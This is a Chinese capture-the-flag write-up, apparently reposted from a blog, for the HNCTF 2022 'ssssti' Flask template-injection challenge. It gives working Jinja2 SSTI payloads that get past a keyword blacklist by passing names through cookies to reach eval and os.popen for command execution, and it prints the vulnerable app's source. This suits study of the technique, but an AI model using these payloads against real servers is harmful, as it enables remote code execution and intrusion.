NSS [HNCTF 2022 WEEK3]ssssti

NSS [HNCTF 2022 WEEK3]ssssti

SSTI类题目(flask)毋庸置疑。

image-20230928074027535

有过滤,我们拿burp先fuzz一波。长度159的都是被过滤的。

image-20230928074215865

过滤了下划线、引号、args、os。

我们利用request对象绕过对下划线和引号的过滤(题目不允许POST方法,所以我们用request.cookies.x1

先找找可用类。

?name={
    
    {
    
    ()[request.cookies.class][request.cookies.bases][0][request.cookies.subclasses]()}}

COOKIE:class=__class__;bases=__bases__;subclasses=__subclasses__

没有os._wrap_close,但是有warnings.catch_warnings,下标为59。我们可以用内建函数 eval 执行命令。

image-20230928081057843

我们的原始payload是: ( eval 执行命令)

{
    
    {
    
    ''.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

绕过过滤后的payload:

GET:name={
    
    {
    
    ()[request.cookies.class][request.cookies.bases][0][request.cookies.subclasses]()[59][request.cookies.init][request.cookies.globals][request.cookies.builtins][request.cookies.eval](request.cookies.cmd)}}

COOKIE:class=__class__;bases=__bases__;subclasses=__subclasses__;init=__init__;globals=__globals__;builtins=__builtins__;eval=__eval__;cmd=__import__("os").popen("ls /").read()

奇怪的事情发生了,居然执行不了????一步步排查问题是出在了__import__("os").popen("ls /").read()

image-20230928090508025

那我们换一种方式,没有os._wrap_close类也能用os模块执行命令。

原始payload:

{
    
    {
    
     config.__class__.__init__.__globals__['os'].popen('ls /').read()}}

绕过过滤后的payload:

GET:name={
   
   { config[request.cookies.class][request.cookies.init][request.cookies.globals][request.cookies.so].popen(request.cookies.cmd).read()}}

COOKIE:class=__class__;init=__init__;globals=__globals__;so=os;cmd=ls /

image-20230928091535136

源码如下:

from flask import Flask,render_template,render_template_string,redirect,request,session,abort,send_from_directory
import os
import re
app = Flask(__name__)
@app.route("/")
def app_index():
    name = request.args.get('name')
    blacklist = ['\'', '"', 'args', 'os', '_']
    if name:
        for no in blacklist:
            if no in name:
                return 'Hacker'
    template = '''{%% block body %%} 
            <div class="center-content error"> 
                <h1>WELCOME TO HNCTF</h1> 
                <a href="https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#python" id="test" target="_blank">What is server-side template injection?</a>
                <h3>%s</h3> 
            </div> 
            {%% endblock %%} 
             ''' % (request.args.get('name'))
    return render_template_string(template)
if __name__=="__main__":
    app.run(host='0.0.0.0',port=5050)

猜你喜欢

转载自blog.csdn.net/Jayjay___/article/details/140913381